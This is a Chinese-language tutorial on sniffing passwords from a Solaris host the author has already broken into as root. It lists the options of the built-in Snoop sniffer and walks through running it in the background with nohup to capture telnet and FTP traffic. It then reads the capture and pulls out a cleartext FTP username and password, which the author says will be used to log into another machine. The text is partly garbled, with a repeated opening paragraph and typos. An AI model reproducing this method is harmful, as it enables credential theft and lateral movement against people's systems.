假设我们已经通过某种方法成功的攻人了 Solaris 主机 202.11.22.33 (本文隐藏了实际 IP 地址,下同)并且获得这台主机上的最高 root 权限。那么,现在我们就可以在这台主机上使用 Sniffer 来嗅探此网段上传输的密码。 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

1.Snoop 简介

Solaris 系统中有一个默认安装的 Sniffer 软件叫做 Snoop ,所以没有必要重新安装其他的 Sniffer 了,可以直接使用 Snoop 来进行嗅探。下面简要介绍一下 Snoop 的使用方法。

Snoop 是一个命令行的软件,它的使用方法为: Snoop [选项][过滤条]

其中选项包括:

-a ]# audio 上监听

-d device ]# 设置的监听设备

-s snaplen ]# 将包截短

-c count ]#设置捕获包的数量

-P ]#关闭混杂模式

-D ]# 报告掉包

-S ]#报告包大小

-i file ]#从文件读人记录

-o file ]#把捕获情况存人文件

-n flle ]#从文件读人域名表

-N ]# 创建域名表

-t r|a|d ]#设置时间,可以为相对或绝对时间

-v ]#详细的包信息显示

-V ]#显示所有包信息

-p first[,last] ]#显示指定的包

-x offset[ length] ]# 显示 16 进制数据

-C ]# 显示包过滤码

其中最常用的选项是 -o -c ,通过一 o 选项可以把捕获情况输出到一个文件中,否则会显示在屏幕上。通过 -c 可以设置要捕获包的数量,否则就会无限制地捕获传输的包。

Snoop 的重点在于设置过滤条件,所谓过滤条件就是我们要捕获什么样的包,因为以太网上传输的数据量一般是相当大的,所以不能捕获所有传输的包,否则会无法找到我们要的信息,于是我们就设置一个过滤条件,只捕获我们要的包,例如含有密码的包。

过滤条件主要包括 from to net port 。其中 from 是指从特定主机发送过来的包, to 是指发送到特定主机的包, net 是来自或发往特定网络的包, port 是指来自或发往特定端口的包。这些过滤条件可以通过 and (且关系)、 or (或关系)和 not (非关系)来进行组合。例如,下面 Snoop 命令捕获所有来自 192 168 3 12 地址的 DNS NFS 包:


snoop from 192.168.3.12 port domain
  or rpc nfs


2
SnooP ***实例

假设我们已经通过某种方法成功的攻人了 Solaris 主机 202 11 22 33 (本文隐藏了实际 IP 地址,下同)并且获得这台主机上的最高 root 权限。那么现在我们就可以在这台主机上使用 Snoop 来嗅探此同段上传输的密码。

首先我们使用 find 命令查找一下此主机上的 Snoop 安装在哪里:

find -name snoop -print

usr sbin snoop

因为我们的目的是捕获网络上传输的密码,所以我们要设置 Snoop 的过滤选项来捕获网络上所有的 telnet ftp 包,使用下面的命令:

#nohup /usr/sbin/snoop -o slog -c 10000 port

telnet or port ftp&

我们使用 nohup & 来把 Snoop 挂在后台运行,这样,当我们从终端退出的时候, Snoop 仍然可以在后台运行。并且我们使用 -o 把嗅探结果保存在文件 slog 里,使用 -c 选项来设置一共捕获 10000 个包,以免捕获数据量太大而占据硬盘空间。 port telnet or ftp 就是过滤选项,它设置只捕获 Telnet FTP 包,因为这两种协议都使用密码验证而且密码不加密。

然后我们就可以退出登录,第二天再次登录上这台主机,可以看到当前目录下有一个 slog 文件,这就是嗅探结果。但是要注意这个文件不是文本文件,不能使用 cat 命令直接查看,必须用 Snoop -i 选项来查看,使用如下命令:

#/usr/sbin/snoop -i slog |more

这里,我们使用 more 来一点一点查看,发现 输出中有以下片段:

gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924

202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924

gi-12-107.bta.net.cn->202.11.22.68 FTP C POrt=1924

202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924

220 202.11.22.68

gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924

gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924

USER bode\r\n

202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924

202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924

331 Password require

gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924

gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924

PASS zhangjm\r\n

202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924

202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924

230 user bode logged

gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924

通过上面的记录我们可以看到,来自 gi-12-107.bta.net.cn 的用户使用 FTP 登录上了 202.11.22.68 主机,它使用的用户名为 bode ,密码为 zhangjm 。于是我们就可以使用这个用户名和密码来登录上 202.11.22.68 了。